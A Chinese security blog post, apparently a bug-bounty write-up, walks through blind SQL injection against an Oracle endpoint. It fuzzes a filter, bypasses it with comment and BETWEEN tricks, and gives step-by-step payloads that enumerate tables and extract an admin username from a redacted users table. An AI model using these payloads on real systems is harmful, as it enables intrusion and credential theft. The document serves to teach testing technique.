Skip to content

Latest commit

 

History

History
161 lines (73 loc) · 6.3 KB

[安全艺术]-2023-7-30-Oracle注射之一”射”到底.md

File metadata and controls

161 lines (73 loc) · 6.3 KB

Oracle注射之一”射”到底

安全艺术 安全艺术

安全艺术

微信号 AnQuanYiShu2022

功能介绍 渗透、SRC小记


__发表于

收录于合集

关于oracle注射获取数据的实战文章还是比较少的,比较多的都是写写思路或者罗列一些payload就结束了,再比较好一点的也就是绕个WAF获取个库名,真的把数据跑出来的文还是寥寥无几的,也许是因为工作或SRC要求如此吧,但是真的去跑数据的时候还是会遇到各种挑战的,且与君共享一篇oracle注射获取数据的文吧。

0x00 sqlmap梭哈

经典盲注

/queryByPhone?card=1&phone=13111111111'and'1'like'1&companysID=1

/queryByPhone?card=1 &phone=13111111111'and'1'like'2&companysID=1

典型的盲注,判断出注入后,多数情况下会想到sqlmap梭哈,但是结果却是这样的:sqlmap也很温馨的提示了,说是可以添加tamper脚本进行尝试,玩了一段时间注入的到这里很容易就想到了可能遇上安全防护了,当然这是后话,我们可以根据sqlmap的提示接着往下走,比如

tamper=space2comment有结果了,瞬间对sqlmap又燃起了希望,接着跑库名试试未果,继续根据提示进行操作GG,这次不得行了,到这里单纯靠sqlmap显得不靠谱了,接下来就需要去摸清服务端的过滤规则了。

0x01 Fuzz黑名单注出库名 ****

通过第一步得知空格被过滤了,输入被过滤的字符,看看服务端的响应: 服务端给出了友好提示,那我们直接fuzz字符,然后根据服务端响应就可以摸清过滤规则了第一种直接fuzz(%00-%ff)第二种,自定义字符字典(记得选中编码,GET请求URI中的特殊字符多数是需要url编码的,否则服务端会返回400)很明显的看到<和>被过滤了,还有一个比较常用的|字符被干掉了,知道了这两点,其实跑个库名就很简单了,用between and替代大于小于号就行,继续利用sqlmap的tamper脚本多数情况下挖到这里其实就可以交差结束战斗了,但是毕竟2023年第一个oracle注入,必须跑出数据呀,直接sqlmap意料之中,因为|被干掉了,sqlmap跑oracle数据的payload中借助了|符号(挂个代理看payload发现的) (sqlmap.py --purge可以清除历史记录哟)

0x02 半手工出数据 ****

根据oracle数据库中固有的字段来跑数据 user_tables table_nameuser_tab_columns column_name通过rownum和not in进行单行数据输出比较幸运的是length、substr、逗号都没有被干掉具体操作如下:

1、获取表的数量

payload:

13111111111'and//(select//count(table_name)//from//user_tables)=//1//and'1'like'1

2、获取表名

先判断第一个表名长度

payload:

13111111111'and//(select//length(table_name)//from//user_tables//where//rownum=1)=//1//and'1'like'1

借助burp判断第一个表名长度:14

获取表名数据,先获取第一个表的第一个字符payload:13111111111'and//(select//substr(table_name,1,1)//from//user_tables//where//rownum=1)=//'A'//and'1'like'1(oracle数据库的库名、表名、字段都是需要大写的,还有常见的字符如_、$和数字,其中$需要进行url编码哟)其它字符以此类推,最终注出第一个表名:BA******_NEWS注出了第一个表名,后续表名借助rownum实现即可判断第二个表名长度,只要not in第一个表名即可payload:13111111111'and//(select//length(table_name)//from//user_tables//where//rownum=1//and//table_name//not//in//('BA****_NEWS'))=//§1§//and'1'like'1

后续字符以此类推,其它表名玩法一样。

3、获取列名

先判断第一个列名长度

payload:

13111111111'and//(select//length(column_name)//from//user_tab_columns//where//table_name='BA******_NEWS'//and//rownum=1)=//'§1§'//and'1'like'1

获取第一个列名字符payload:13111111111'and//(select//substr(column_name,1,1)//from//user_tab_columns//where//table_name='BA******_NEWS'//and//rownum=1)=//'§1§'//and'1'like'1获取其它列名的方法和获取表名一样,借助not in实现,如还是同样的先判断列名长度13111111111'and//(select//length(column_name)//from//user_tab_columns//where//table_name='BA******_NEWS'//and//rownum=1//and//column_name//not//in//('ID'))=//'§1§'//and'1'like'1再一一获取列名字符13111111111'and//(select//substr(column_name,1,1)//from//user_tab_columns//where//table_name='BA****_NEWS'//and//rownum=1//and//column_name//not//in//('ID'))=//'§1§'/**/and'1'like'1这里也可以写脚本跑哈,我就直接burp操作了一波,跑出一些可能包含敏感数据的表名就停下,然后跑其中的数据就行

4、获取敏感数据

经过了一段时间的注入,获取到了一个敏感表名:BA******_USERS,对应的字段:USERNAME,PASSWORD

接下来就直接获取对应的数据就行了,跑出一两条,证明危害即可

先判断第一个用户名长度

13111111111'and//(select//length(USERNAME)//from//BA******_USERS//where//rownum=1)='§1§'and'1'like'1

跑数据13111111111'and//(select//substr(USERNAME,§0§,1)//from//BA******_USERS//where//rownum=1)='§1§'and'1'like'1按顺序组合即可获取对应数据:ba******admin获取PASSWORD字段内容方法同上。 0x03 总结犹豫了两天,终于写了这个文,不觉间花了两个多小时的时间,写的还算比较细了,整个思路和利用过程基本都写到了,就这样吧,以后估计也不会如此细致的写注入的文了,且看且珍惜吧。

**
**

**
**

预览时标签不可点

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看